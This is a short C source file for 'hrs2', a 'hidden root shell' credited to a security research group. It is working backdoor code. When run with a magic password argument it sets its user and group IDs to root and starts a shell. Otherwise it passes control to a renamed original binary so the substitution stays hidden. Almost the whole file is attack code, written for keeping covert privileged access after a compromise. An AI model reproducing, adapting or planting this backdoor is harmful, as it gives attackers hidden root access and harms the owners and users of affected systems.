/************************************************************************    hrs2 - hidden root shell 2    Developed by Shadow Penguin Security Resarch Group     http://www.shadowpenguin.org     UNYUN <unyun@shadowpenguin.org>        This program is free software; you can redistribute it and/or modify    it under the terms of the GNU General Public License as published by    the Free Software Foundation; either version 2 of the License, or    (at your option) any later version.    This program is distributed in the hope that it will be useful,    but WITHOUT ANY WARRANTY; without even the implied warranty of    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the    GNU General Public License for more details.*************************************************************************/#include <sys/stat.h>#define ORIGINAL "/.desktop-user"#define MAGIC    "hoge"int main(int argc,char *argv[]){   struct stat  statbuf;   if (argc==2 && !strcmp(argv[1],MAGIC)){       setuid(0);       setgid(0);       execl("/bin/sh","sh",NULL);   }else{       stat(argv[0],&statbuf);       setuid(statbuf.st_uid);       setgid(statbuf.st_gid);       execv(ORIGINAL,argv);   }}